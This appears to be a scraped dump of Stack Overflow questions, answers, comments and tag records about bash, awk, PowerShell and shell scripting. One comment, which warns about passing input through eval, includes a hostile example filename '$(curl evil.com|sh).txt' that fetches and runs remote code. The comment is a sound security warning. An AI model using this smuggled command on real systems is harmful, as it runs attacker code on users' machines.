comment on: http://stackoverflow.com/a/76804508
has text: Hi Will, Thanks for replying. 1 doubt. Sleep 5 in your script is before retrying. I want to add 2 mins of sleep once 1st url is success. For that can I add it in function before return 0? function check_url_success() { local url=$1 local response=$(curl -s /dev/null "$url") if [ "$response" == "success" ]; then sleep 2m return 0 else return 1 fi

http://stackoverflow.com/a/76763183
answers question: http://stackoverflow.com/q/76763104
upvote count: 1
type: Answer
has body: echo "feature/test-slash" | tr '/' '-' Your solution doesn't work because ${} is intended for use with variables.
downvote count: 0
score: 1

http://stackoverflow.com/comment/135381334
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76785187
type: QuestionComment
has text: @Kaz If you're not convinced, read this [answer to *Echo newline in Bash prints literal \n*](https://stackoverflow.com/a/8467449/1765658)

http://stackoverflow.com/q/76835022
has comment: http://stackoverflow.com/comment/135455390
tagged with: bash
has comment: http://stackoverflow.com/comment/135455599
type: Question
linked to: http://stackoverflow.com/q/20943322
has comment: http://stackoverflow.com/comment/135455488
has comment: http://stackoverflow.com/comment/135480323
type: UnansweredQuestion
score: 0
answer count: 0
has title: How to wait a certain time then run a command then if any key pressed run another one and go back to the beginning on Linux Ubuntu 22.04
has comment: http://stackoverflow.com/comment/135481170
tagged with: shell
tagged with: linux
has body: I have the necessity to run a script in background, now it is in etc/init.d directory and run at the OS start up, that acting like follow: For X seconds nothing happens then run a command, if any key is press on the keyboard it will run another command then restart the waiting time. Just to make a common example is like when the keyboard light goes off if nothing is pressed for a certain amount of time, then goes back on as soon as the keyboard has been pressed or the mouse moves. This is my actual code: #!/bin/bash while true; do sleep 1 read -rsn1 input if [ "$input" = "ł" ]; then echo "this is a key that you can't press" else echo "you press " "$input" # command to run here if key has been pressed fi sleep 20 # command to run here after 20 secodns if key has not been pressed done trap control_c SIGINT control_c() { stty sane } exit 0 When i tested the code on the terminal it works like ok. But if I run in background the program loops like a keyboard is pressed immediately after the sleep 20 line. I running this script on Linux Mint Victoria 21.2 is based on Ubuntu 22.04 I didn't add the mouse yet because the keyboard's condition doesn't run as expected alredy. edit: As per @user1934428 suggestion i try to use evemu-recor. This is the result,the test on the terminal was fine, but when run as background process doesn't get the keyboard feedback. #!/bin/bash start=$SECONDS while true; do sleep 1 input=$(sudo timeout 5s evemu-record /dev/input/event3 | grep "EV_KEY / KEY") duration=$(( SECONDS - start )) if [ "$input" = "" ]; then if (( $duration > 30 )); then # command to run here fi else # command to run here input="" duration=$(( SECONDS - duration )) fi done trap control_c SIGINT control_c() { stty sane }

http://stackoverflow.com/comment/135326294
score: 0
comment on: http://stackoverflow.com/a/76760214
has text: Have you read up enough on (POSIX Basic) regular expressions to see how it works?
type: Comment
type: AnswerComment

tee
tags question: http://stackoverflow.com/q/76783341
tag name: tee
type: Tag
tags question: http://stackoverflow.com/q/77920493
tags question: http://stackoverflow.com/q/78331935
tags question: http://stackoverflow.com/q/78573688
tags question: http://stackoverflow.com/q/79039745
tags question: http://stackoverflow.com/q/79438058

http://stackoverflow.com/comment/135337231
has text: I've never seen `--regexp=` nor `--file=` in 40+ years of using `grep`. You could just do `grep -Ecf 'file' 'regexp'`. Your use of `-E` along with escaping `{` and `}` are canceling each other out btw. Get your grep command working on it's own first and then worry about applying it to a string and capturing it's output.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76764965
type: Comment

http://stackoverflow.com/comment/135491138
comment on: http://stackoverflow.com/q/76855607
has text: I mean the real Makefile that it generates.
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135300742
comment on: http://stackoverflow.com/a/76745459
type: Comment
type: AnswerComment
score: 0
has text: The statement about `$(...)` is also a [gross simplification](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_01).

http://stackoverflow.com/comment/135531749
score: 0
has text: In general, you can't go backwards with the shell's IO primitives, but you _can_ keep the previous line in memory as you read, so when you see the thing you're looking for you check what's in the "what was the last line?" variable. Or, in this case, you'd look for the `Name:` lines, store whatever you find in them in `last_name`, and then when you see your word you look at the `last_name` variable. Awk is a better tool for grep for this, if your file is too large for it to be efficient to just do in bash itself with no external tools at all (as with a `while read` loop).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76879657

http://stackoverflow.com/comment/135341397
type: QuestionComment
comment on: http://stackoverflow.com/q/76765144
type: Comment
score: 0
has text: You forgot to explain what `pointing to` means in your question. I also don't understand why you talk in the title about tmux, but in your question refer also to iterm2. Finally you never explain how your shell is started. We don't even know whether it's a login-shell or a non-login shell. As it stands, I have no idea what you are asking here.

http://stackoverflow.com/a/76763296
answers question: http://stackoverflow.com/q/76763104
upvote count: 1
downvote count: 1
type: Answer
has body: how to do slash substitution in shell in one line? Join lines with ;. A="feature/test-slash"; echo ${A//\//-}
score: 0

http://stackoverflow.com/comment/135319155
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76756050
has text: BTW, `os.system('source anything')` isn't expected to work. First, `source` is a bash built-in and `system` invokes `sh`, not bash. Second, anything that the source command does only lasts as long as the shell does, and by the time `os.system` returns the shell it invoked has already exited. Third, aliases are only enabled by default in _interactive_ copies of bash, so even if you run the `alias` command in a noninteractive shell it does nothing unless you've gone out of your way to turn that feature on.

http://stackoverflow.com/comment/135287219
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76724923
type: Comment
has text: So, you are saying that there is no possible way to run a script that is independent from my application?

http://stackoverflow.com/comment/135463961
has text: Okay, this is very weird: when I open the PDFs in Safari or Chrome, I no longer see the difference. It seems to be a preview specific problem. But I'd still like to know why it happens in preview and quick look. Should I report this as a bug to Apple?
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76839623

http://stackoverflow.com/comment/135493997
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76857548
has text: @Chuuuuuu46 20230802 is all files created 2 days before. Or do you mean "2 days before _or earlier_"? That's not easily possible only by name. Is it not possible to filter on `-ctime +2`?
score: 0

http://stackoverflow.com/comment/135260315
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76721494
type: Comment
has text: [What do you mean "It doesn't work"?](https://meta.stackexchange.com/questions/147616/what-do-you-mean-it-doesnt-work)

http://stackoverflow.com/comment/135299626
score: 2
has text: what do you think your `find` commands do? what do you want them to do?
type: QuestionComment
comment on: http://stackoverflow.com/q/76744886
type: Comment

http://stackoverflow.com/comment/135343613
type: QuestionComment
score: 0
has text: Turns out i just had to move close(pipefds[1]) above dup2(pipefds[1], 1) in the first child. I'm not too sure why it works this way though. Also thanks for the info, I didn't know there was a specific template when asking questions.
comment on: http://stackoverflow.com/q/76770526
type: Comment

http://stackoverflow.com/comment/135365450
comment on: http://stackoverflow.com/a/76783356
score: 0
type: Comment
has text: _nod_, the DEBUG trap approach makes sense if they have a hard requirement to support bash 3.x.
type: AnswerComment

http://stackoverflow.com/comment/135260735
comment on: http://stackoverflow.com/a/76721404
type: Comment
score: 0
type: AnswerComment
has text: Me too. I am *Pedantic Man!* My cape it at the cleaners, though... ;)

http://stackoverflow.com/a/76749836
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76747690
has body: Regarding "while code block" working fine with out progress bar code. - It's impossible for the function in your question, called as you show in your question, to run correctly since the while read loop is reading from $1 but you call the function without an argument. $ foo() { while read line; do echo "$line"; done < "$1"; } $ foo -bash: : No such file or directory Ask a new question containing a minimal reproducible example so we can help you further if you need more than that.

http://stackoverflow.com/comment/135336125
type: Comment
type: AnswerComment
has text: Yes, I always call the library with the same python path. In the link you shared to me you can see an output with errors. In my case the code works perfectly only if executed directly by calling python. Alternatively if I run it from script no errors are released but simply no movement is produced to the motors.
comment on: http://stackoverflow.com/a/76766288
score: 0

hostname
tag name: hostname
tags question: http://stackoverflow.com/q/76813452
type: Tag

http://stackoverflow.com/a/76869977
downvote count: 0
score: 2
has body: You can create a wrapper function around Measure-Command that takes a scriptblock as argument, note that in order for this to work you must call your function using the syntax: timer {...} (the curly braces are mandatory). function timer { [CmdletBinding()] param( [Parameter(Position = 0, Mandatory)] [scriptblock] $Command ) end { $span = [timespan]::FromMinutes((Measure-Command { &amp; $Command | Out-Default }).TotalMinutes) Write-Host ('Time Elapsed: {0:D2} minutes, {1:D2} seconds.' -f $span.Minutes, $span.Seconds) } } Example of how to use it: timer { 0..10 | ForEach-Object { $_; Start-Sleep -Milliseconds 200 } } Would produce the following output: 0 1 2 3 4 5 6 7 8 9 10 Time Elapsed: 00 minutes, 02 seconds. Note that due to the use of Out-Default, the output from the scriptblock cannot be captured. An alternative if you wanted to capture the output from your timer function is to store datetime.Now before the scriptblock execution and then calculating the time difference after the execution is completed: function timer { [CmdletBinding()] param( [Parameter(Position = 0, Mandatory)] [scriptblock] $Command ) end { $now = [datetime]::Now &amp; $Command $span = [datetime]::Now - $now Write-Host ('Time Elapsed: {0:D2} minutes, {1:D2} seconds.' -f $span.Minutes, $span.Seconds) } } Now the output can be captured without problems: $capture = timer { 0..10 | ForEach-Object { $_; Start-Sleep -Milliseconds 200 } }
upvote count: 2
answers question: http://stackoverflow.com/q/76869809
type: Answer

http://stackoverflow.com/comment/135402515
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76805101
has text: If fixing the broken csv producer is not an option, at least always include your attempts / code you've tried to solve the problem; see [ask].

http://stackoverflow.com/comment/135334309
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76765373
score: 1
has text: What do you mean by "run the commands from the shell"? Show is the shell commands that worked. The most common cause of something like this is having the wrong pin numbers. Have you triple checked that?

http://stackoverflow.com/comment/135377980
score: 0
has text: @justmalstk Unless the parameters are coming from somewhere outside the user's control, it will just do something the user can do themselves.
comment on: http://stackoverflow.com/a/76790031
type: Comment
type: AnswerComment

replace
tags question: http://stackoverflow.com/q/76747469
type: Tag
tag name: replace
tags question: http://stackoverflow.com/q/77122868
tags question: http://stackoverflow.com/q/77607461
tags question: http://stackoverflow.com/q/77974539
tags question: http://stackoverflow.com/q/78750272

http://stackoverflow.com/comment/135427096
score: 0
comment on: http://stackoverflow.com/q/76817121
type: QuestionComment
type: Comment
has text: will the input always include a period after `apples` (or whatever the ending string may be)?

http://stackoverflow.com/a/76771734
score: 0
type: Answer
answers question: http://stackoverflow.com/q/76770292
has body: You were close: sort temp_data.txt | uniq -c | awk -v OFS=, '{print "\"" $1 "\"", $2}' Sorry, that was completely wrong. @Bodo shows how to do it correctly, with unordered and sorted output. To maintain the original order, we need to keep track of the line number when we first saw each record. Using GNU awk specifically gawk ' !lineno[$0] {lineno[$0] = NR} {count[$0]++} END { PROCINFO["sorted_in"] = "@val_num_asc" for (line in lineno) printf "\"%d\",%s\n", count[line], line } ' temp_data.txt "1","John","001-01-0001","engineering" "2","Smith","192-11-0292","human resources" "1","Brian","192-11-0292","operations" "1","Lucius","992-11-0292","human resources" With any awk, this will produce the same output, looping over the file twice awk ' NR == FNR {count[$0]++; next} !seen[$0]++ {printf "\"%d\",%s\n", count[$0], $0} ' temp_data.txt temp_data.txt

backup
type: Tag
tags question: http://stackoverflow.com/q/76803412
tag name: backup
tags question: http://stackoverflow.com/q/78470611
tags question: http://stackoverflow.com/q/79208815

http://stackoverflow.com/comment/135376012
type: Comment
has text: This depends entirely on how you're using the variable. Please provide a small, complete reproducible example of what you want to do.
comment on: http://stackoverflow.com/q/76789602
score: 3
type: QuestionComment

http://stackoverflow.com/a/76735562
type: Answer
accepted answer of: http://stackoverflow.com/q/76735489
score: 0
has body: From man chsh: -l, --list-shells Print the list of shells listed in /etc/shells and exit. How can I add my shell to this list? You would add the path to excuteble in /etc/shells. See man 5 shells.
answers question: http://stackoverflow.com/q/76735489
type: AcceptedAnswer

http://stackoverflow.com/comment/135320431
score: 0
type: QuestionComment
has text: Thanks for the feedback! Here is the output of `type seqtk`: seqtk is /mnt/data/my_folder/mambaforge/bin/seqtk
type: Comment
comment on: http://stackoverflow.com/q/76756050

http://stackoverflow.com/comment/135437619
comment on: http://stackoverflow.com/a/76823976
score: 0
has text: What does the `developer` cli command do?
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135348096
type: Comment
comment on: http://stackoverflow.com/q/76772789
score: 0
type: QuestionComment
has text: In due course, when you have processes that can be run in the background, you'll need to capture the PID returned by `wait()` because the command that terminates might not be the the one you just ran but some prior process run in the background. It's not a bad idea to capture and test the result anyway.

django
type: Tag
tags question: http://stackoverflow.com/q/76790806
tag name: django
tags question: http://stackoverflow.com/q/78159000
tags question: http://stackoverflow.com/q/78981988

http://stackoverflow.com/comment/135276850
score: 0
has text: Once you've found the executables, you can use `dpkg -S /path/to/node` (substituting the real path given to you by `which` or `command -v`) to find out which, if any, package each executable belongs to.
type: QuestionComment
comment on: http://stackoverflow.com/q/76731251
type: Comment

http://stackoverflow.com/a/76864813
score: 0
upvote count: 1
downvote count: 1
type: Answer
has body: It seems you deleted your file by using git rm command and didn't commit it due to that showing on sit status. Please commit it by using git commit command. It will be remove from your tracker
answers question: http://stackoverflow.com/q/76864756
has comment: http://stackoverflow.com/comment/135515831

http://stackoverflow.com/a/76763225
has body: This is because you only create the folder 'sort': mkdir /tmp/MyLinux/sort and then you tell mv to move the Kali-Dark directory into /tmp/MyLinux/sort/themes/ so mv thinks you are mentioning a 'themes' target directory which doesn't yet exist, so you want to use 'themes' as a destination directory instead of the source directory name ('Kali-Dark'), so it creates the 'themes' directory and then the contents of Kali-Dark/* will be put inside themes/. Now the next mv command will see that the 'themes' target-directory exists (as it was just created), so it will use the source directory name Kali-Light under the target themes/ directory. And you will have the result you mentioned. What you want to do is: #!/usr/bin/env bash TARGET_PATH="/tmp/MyLinux" mkdir -p $TARGET_PATH/{download,sort/themes} git clone https://gitlab.com/kalilinux/packages/kali-themes $TARGET_PATH/download mv $TARGET_PATH/download/share/themes/Kali-Dark $TARGET_PATH/sort/themes/ mv $TARGET_PATH/download/share/themes/Kali-Light $TARGET_PATH/sort/themes/ Now mv will think you want the source directory names included under the destination path (which now exists) and you will get: $ ls /tmp/MyLinux/sort/themes Kali-Dark Kali-Light Hints: create the full destination paths beforehand make use of the verbose option mv -v ... to see what it is actually doing (makes it easier to debug your script)
score: 0
answers question: http://stackoverflow.com/q/76761336
type: Answer

http://stackoverflow.com/comment/135263215
comment on: http://stackoverflow.com/q/76722912
type: QuestionComment
has text: because the shell project i'm working on is basically a task and they ask for fork to not be used in case the command doesn't exist, and i kind of struggled with that, i now just used the write() function to put the code error in the stderr directly and im hoping for the best
type: Comment
score: 0

http://stackoverflow.com/a/76757183
has body: A quick workaround is doing this in Python: os.environ['PATH'] = os.pathsep.join(( '/mnt/data/my_folder/mambaforge/bin', os.environ['PATH'])) os.system('seqtk ...') # It will work. os.system('./test.sh ...') # It will work. However, for long term maintainability, you should activate the virtual environment instead. Doing so will take care of modifying PATH and other relevant environment variables. See the answer by @KurtisRader for details.
has comment: http://stackoverflow.com/comment/135323858
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/135323013
answers question: http://stackoverflow.com/q/76756050

http://stackoverflow.com/comment/135490045
has text: That said, using `-h` is probably a bad idea in the first place when you want your numbers to be right. What if `df` decides it wants to measure output for one entry in `Tb` and the other in `Mb`? Much more reliable if you leave human-readable mode turned off so the numbers use the same units everywhere.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76854869
type: QuestionComment

http://stackoverflow.com/comment/135439477
type: Comment
has text: @user1934428 **Redis**, in my answer below, is more or less exactly that daemon process that is contacted via sockets.
type: QuestionComment
comment on: http://stackoverflow.com/q/76823093
score: 0

path
type: Tag
tags question: http://stackoverflow.com/q/76817170
tag name: path
tags question: http://stackoverflow.com/q/77060642
tags question: http://stackoverflow.com/q/77319277
tags question: http://stackoverflow.com/q/77342627
tags question: http://stackoverflow.com/q/77467520
tags question: http://stackoverflow.com/q/77539624
tags question: http://stackoverflow.com/q/78303334
tags question: http://stackoverflow.com/q/79228628
tags question: http://stackoverflow.com/q/79386930
tags question: http://stackoverflow.com/q/79502626

proxmox
type: Tag
tag name: proxmox
tags question: http://stackoverflow.com/q/76816367

http://stackoverflow.com/comment/135407787
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76805840
has text: (OP, try changing the database to use [WAL mode](https://sqlite.org/wal.html) if you have a lot of concurrent users of the database.)

http://stackoverflow.com/comment/135507242
score: 0
comment on: http://stackoverflow.com/a/76864973
type: Comment
has text: Note that the `awk` script I suggest should work with any number of columns, as long as it is constant. How do you pass the expected order? Do you provide the exact same number of columns in this order as in the input CSV file?
type: AnswerComment

http://stackoverflow.com/comment/135423557
type: Comment
score: 0
has text: Your output is not valid JSON; instructions unclear
type: QuestionComment
comment on: http://stackoverflow.com/q/76817193

http://stackoverflow.com/comment/135402755
score: 0
has text: If there's only one column that can have embedded commas, you can count commas from the left and right to get the other columns. Then everything in the middle is the broken column.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76805101

http://stackoverflow.com/a/76736689
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: why does recursion stop? Because after you descend cd "$1" you do not cd out of it. An easy dirty fix would be to run ( rename "dir$dirCounter" "(( $2 + 1 ))" ) in a subshell. You might be also interested in pushd and popd. Or you may pass the current depth of the directory location as another rename argument. I would do that last option, as cd depends on a global state - current directory - which is why it gets confusing.
answers question: http://stackoverflow.com/q/76736625

http://stackoverflow.com/a/76828846
type: Answer
has body: cat test.txt test.pwd=test@123 test.pwd.path=/tmp/test test.pwd1.sample=123 Execute: grep -v &quot;^test[.]pwd=&quot; test.txt &gt; test1.txt cat test1.txt test.pwd.path=/tmp/test test.pwd1.sample=123
has comment: http://stackoverflow.com/comment/135450836
score: 0
answers question: http://stackoverflow.com/q/76774173

http://stackoverflow.com/comment/135300312
type: Comment
has text: What are you trying to do??? `find` doesn't return differently if it finds a file or not. Won't `[ -e /usr/bin ] || echo "Not valid"` do? (Or `-d`.) I see you're making the check case-insensitive, but `-e` should work fine on a case-insensitive system.
comment on: http://stackoverflow.com/q/76744886
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135348354
type: Comment
comment on: http://stackoverflow.com/a/76771486
type: AnswerComment
score: 0
has text: thanks again its not about -e option. What do you mean with "single quotes", Can you give an example?

http://stackoverflow.com/comment/135521484
type: Comment
comment on: http://stackoverflow.com/a/76870046
type: AnswerComment
has text: Thanks, as you said, it is a bit of an overkiller, but I will keep it in mind for future similar tasks.
score: 0

http://stackoverflow.com/comment/135263419
comment on: http://stackoverflow.com/a/76720707
has text: The problem I have here is that "random_dir" keeps changing everytime. So I was wondering if there is any way to bypass this intermediate directory and check directly in sub_dir1. More like, **find base_dir/*/sub_dir1**
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135491155
score: 0
comment on: http://stackoverflow.com/a/76855827
type: Comment
has text: This is cool, but I was not clear in one aspect. A `curl` command might return that the data is not there, hence, I have to check the result (the TODO above), and retry if the expected data is not there yet. The time I want is the time when all nodes have finally the data there. Makes sense?
type: AnswerComment

parallel-processing
type: Tag
tag name: parallel-processing
tags question: http://stackoverflow.com/q/76855754
tags question: http://stackoverflow.com/q/76996212

http://stackoverflow.com/comment/137393596
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77929242
has text: Actually, the documentation [changed](https://github.com/ansible/ansible-lint/commit/14941dffa81bba2b978a2c0873c2da835fda0ca2) after I quoted it.
score: 1

http://stackoverflow.com/comment/135429713
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76774648
has text: Dynamically how? Do you have control of the pattern?
score: 0

http://stackoverflow.com/comment/135515814
has text: `set -o pipefail` is a `bash` feature. Ansible runs `sh` by default (as reported by the binary used in the error message). If you want to use this you need to change the shell with the [`executable` option of the module](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html#parameter-executable).
comment on: http://stackoverflow.com/q/76870158
type: QuestionComment
type: Comment
score: 3

http://stackoverflow.com/comment/135529408
comment on: http://stackoverflow.com/a/76855717
type: Comment
type: AnswerComment
has text: I really don't see the comparison here. `ssh-agent -s` generates a string for you to be consumed by eval... that is not what I want
score: 0

http://stackoverflow.com/comment/135480945
type: Comment
comment on: http://stackoverflow.com/q/76850146
score: 5
type: QuestionComment
has text: That's not completely true: `cd ''` doesn't move you to your home directory, you stay where you are. Following it with `rm *` is still dangerous so better use something like `[ -n "$dir_name" ] && cd "$dir_name" && rm *`

http://stackoverflow.com/comment/135492183
has text: Maybe you can add additional echo within the `if` statement for verification to be something like `if [ \"\$reply\" -lt 200 -o \"\$reply\" -ge 400 ]; then echo 1; else echo 2; fi; echo \"\$reply\";` to see if it checks and assigns the right value
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76856201

http://stackoverflow.com/comment/135378231
comment on: http://stackoverflow.com/q/76790806
score: 0
has text: use forward slashes in the path `/` or double back slashes \\.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76841046
answers question: http://stackoverflow.com/q/76840695
has body: With GNU awk (for multi-dimensional arrays, output prefixed with -| ): awk -F, '{ arr[$1 "," $2][$3] } END { for(i in arr) { s=""; for(j in arr[i]) s = s (s?",":"") j; print i ",\"" s "\""}}' Input_file -| City,Sunset,"Ben,Anna" Declare the comma as input field separator (-F,). For each line add an entry in array arr with keys $1,$2 and $3. At the END loop over the 2 indexes, concatenate the second (j) index in string s, separated with commas, print first index (i), a comma and string s between double quotes. With any POSIX-compliant awk the simplest is probably to sort the input file first, such that all lines with same first and second field are consecutive: sort Input_file | awk -F, ' function foo() {s=""; for(i in arr) s=s (s?",":"") i print key ",\"" s "\""; delete arr} {key=$1 "," $2} NR>1 && key!=prv {foo()} {prv=key; arr[$3]} END {foo()}' We use the same principle but with a one-dimension array, and print when the two first fields change (key!=prv) or at the END, instead of printing everything at the END. Note the use of a function (foo) to factorize the printing code.
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/135477457
score: 0
comment on: http://stackoverflow.com/a/76843948
has text: slightly more powerful (script call can include redirections, etc): `myref=myvar; mapfile -d '' $myref < <(date +%Y); declare -p myvar`
type: Comment
type: AnswerComment

floating-point
tags question: http://stackoverflow.com/q/76770023
tag name: floating-point
type: Tag

http://stackoverflow.com/comment/135376788
type: QuestionComment
score: 2
type: Comment
has text: Let me give you a concrete example. If you want people to run `yourscript *.txt` _but also_ `yourscript '$(ls *.txt)'`, then you need to worry about what happens if a file named `$(curl evil.com|sh).txt` exists (and yes, that's a legal filename); in the `*.txt` case you'll have that filename passed through `eval`, running `curl`, and then presumably installing a rootkit.
comment on: http://stackoverflow.com/q/76790012

http://stackoverflow.com/a/76806650
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76805101
has body: This regex might help you find the unquoted fields: (\d{1,3}(?:,\d{3})+) and with a simple replacement, like "\1", properly quote them. It looks for "1-3 digits, followed by some number of sequences of a comma and three digits". I say might because you've only shown one small sample of the data, and this only works on numbers sensibly separated with commas. I started with this broken CSV: col1,col2,col3 a,1,b a,12,b a,123,b a,1,234,b a,12,345,b a,123,456,b a,1,234,567,b and got this: | c1 | c2 | c3 | |----|-----------|----| | a | 1 | b | | a | 12 | b | | a | 123 | b | | a | 1,234 | b | | a | 12,345 | b | | a | 123,456 | b | | a | 1,234,567 | b | You can see it in action here, regexr.com/7ht81: This small Python program will fix my sample CSV: import re lines: list[str] = [] with open("input.csv", encoding="utf-8") as f: for line in f: fixed = re.sub(r"(\d{1,3}(?:,\d{3})+)", '"\\1"', line) lines.append(fixed) with open("output.csv", "w", encoding="utf-8") as f: f.writelines(lines)

http://stackoverflow.com/comment/135415972
has text: *`how to read data from a csv file`* depends on the format of the file; as already mentioned this is not a csv-formatted file so there's some confusion as to how your file is actually formatted; a csv-specific solution won't work here since the sample input is not csv formatted; if this sample is really what your file looks like then I'd recommend you edit the question to remove all references to 'csv'
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76810435
type: Comment

http://stackoverflow.com/a/76928282
answers question: http://stackoverflow.com/q/76872375
score: 0
type: Answer
has body: According to the man page of the command, use this option : -r Do not treat a Backslash as an escape character. The backslash is considered to be part of the line. In particular, a backslash-newline pair can not be used as a line continuation. Without this option, any backslashes in the input will be discarded. You should almost always use the -r option with read.

vim
type: Tag
tags question: http://stackoverflow.com/q/76805544
tag name: vim
tags question: http://stackoverflow.com/q/76952166
tags question: http://stackoverflow.com/q/78068666
tags question: http://stackoverflow.com/q/78250610

http://stackoverflow.com/comment/135365474
type: QuestionComment
has text: BTW, do note that when you send some content direct to the console and other content through tee, that makes delivery (pretty much unavoidably) asynchronous, such that the traces written by `set -x` with delivery going through tee can be written to the terminal _after_ things that were written direct to the terminal are printed.
score: 0
comment on: http://stackoverflow.com/q/76783341
type: Comment

http://stackoverflow.com/comment/135322919
type: Comment
score: 0
type: AnswerComment
has text: im actually remotely connect to a server using VScode and do my work there, so im not sure if your suggestion also works for my situation. And could u please give an example of how to activate virtual environment by updating env vars? Is it the way as what @pts suggested? im new to bash and shell so it's a bit confused for me. Thank you!
comment on: http://stackoverflow.com/a/76757945

http://stackoverflow.com/a/76758670
score: 1
has body: Your script should be sleep 100 2&gt;/dev/null 1&gt;/dev/null &amp; echo $!; 2&gt;/dev/null: errors output to null 1&gt;/dev/null: standard output to null
answers question: http://stackoverflow.com/q/76755757
downvote count: 0
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135304180
type: Comment
type: AnswerComment
score: 1
has text: To get some useful hints paste your script at http://www.shellcheck.net/.
comment on: http://stackoverflow.com/a/76747486

http://stackoverflow.com/comment/135490876
comment on: http://stackoverflow.com/q/76855754
score: 0
type: QuestionComment
has text: You can use `&` to send any task to fork/run on background.
type: Comment

http://stackoverflow.com/a/76723398
has body: Try this Shellcheck-clean code: #! /bin/bash -p if ! ret=$(some_command); then rc=${PIPESTATUS[0]} printf '<some_command> returned with exit code: %d\n' "$rc" printf '%s\n' "$ret" fi Using the built-in PIPESTATUS array in Bash is a common way to get the return status of a negated command. See the accepted, and excellent, answer to Why is printf better than echo? for an explanation of why I replaced echo with printf. echo "$var" doesn't work in general.
type: Answer
answers question: http://stackoverflow.com/q/76720948
score: 0

http://stackoverflow.com/a/76809707
score: 0
has body: You should use a CSV aware tool as Miller. Running mlr --csv put '$col3=gsub($col3,&quot;,&quot;,&quot;&quot;)' input.csv &gt;output.csv you get col1,col2,col3,col4,col5 Abcd,defg,1432,hjik,khuj put is the verb to apply functions. gsub is the function that substitutes , with nothing in col3
type: Answer
answers question: http://stackoverflow.com/q/76805101

http://stackoverflow.com/a/76789250
has body: It is the same difference as running su - db2icm1 vs. su db2icm1 on your host. The first will switch to the user db2icm1 and load it's profiles, but the second version only switches to this user. Usually you set stuff for your interactive shell in your profile(s) so it makes sense that you don't want to execute this when running a command like through Ansible. So it doesn't support this. But... in this case you need to load your db2profile because that is necessary for your DB2 command you want to run. In another question I proposed to use a runscript which sources the DB2 profile . /home/db2icm1/sqllib/db2profile and then run's the (DB2) command you gave as arguments. And setup your Ansible playbooks using this. You can read the answer here.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76788743

python-3.x
tag name: python-3.x
type: Tag
tags question: http://stackoverflow.com/q/76771604
tags question: http://stackoverflow.com/q/77048492
tags question: http://stackoverflow.com/q/77285638
tags question: http://stackoverflow.com/q/77241304
tags question: http://stackoverflow.com/q/77409089
tags question: http://stackoverflow.com/q/77316349
tags question: http://stackoverflow.com/q/77464806
tags question: http://stackoverflow.com/q/77508553
tags question: http://stackoverflow.com/q/77449756
tags question: http://stackoverflow.com/q/77670604
tags question: http://stackoverflow.com/q/77762334
tags question: http://stackoverflow.com/q/78131772
tags question: http://stackoverflow.com/q/78114651
tags question: http://stackoverflow.com/q/78202789
tags question: http://stackoverflow.com/q/78751532
tags question: http://stackoverflow.com/q/79137932
tags question: http://stackoverflow.com/q/79101344
tags question: http://stackoverflow.com/q/79104425
tags question: http://stackoverflow.com/q/79408123
tags question: http://stackoverflow.com/q/79431840

http://stackoverflow.com/comment/135398716
score: 0
has text: Seems like it may be cleaner to just store `50` in the variable and generate the loop as needed. But since you've provided no code it's not really possible to know.
comment on: http://stackoverflow.com/q/76789602
type: QuestionComment
type: Comment

kedro
tags question: http://stackoverflow.com/q/76721494
tag name: kedro
type: Tag

http://stackoverflow.com/a/76876203
upvote count: 1
answers question: http://stackoverflow.com/q/76869809
downvote count: 0
score: 1
type: Answer
has body: To get the functionality where all you need to do is just add the word timer as a prefix you can do this: function timer { param ( [string]$Command, [string[]]$Arguments ) $fullCommand = "$Command $Arguments" $startTime = Get-Date Invoke-Expression $fullCommand $endTime = Get-Date $elapsedTime = $endTime - $startTime $totalSeconds = [math]::Floor($elapsedTime.TotalSeconds) $totalMinutes = [math]::Floor($totalSeconds / 60) $remainingSeconds = $totalSeconds % 60 Write-Host "Time Elapsed: $totalMinutes Minutes, $remainingSeconds seconds" } The output looks like this: PS C:\files> timer sleep 5 Time Elapsed: 0 Minutes, 5 seconds PS C:\files> Another way to do this but you'll need to wrap the actual command as a string is : function timer { param ( [string]$Command ) $startTime = Get-Date Invoke-Expression $Command $endTime = Get-Date $elapsedTime = $endTime - $startTime $totalSeconds = [math]::Floor($elapsedTime.TotalSeconds) $totalMinutes = [math]::Floor($totalSeconds / 60) $remainingSeconds = $totalSeconds % 60 Write-Host "Time Elapsed: $totalMinutes Minutes, $remainingSeconds seconds" } The output looks like this: PS C:\files> timer "sleep 5" Time Elapsed: 0 Minutes, 5 seconds PS C:\files>

http://stackoverflow.com/comment/135349480
type: Comment
comment on: http://stackoverflow.com/q/76774173
score: 0
type: QuestionComment
has text: @PaulPazderski `test.pwd` is coming as a dynamic variable in that case how I can do that?

azure-powershell
type: Tag
tag name: azure-powershell
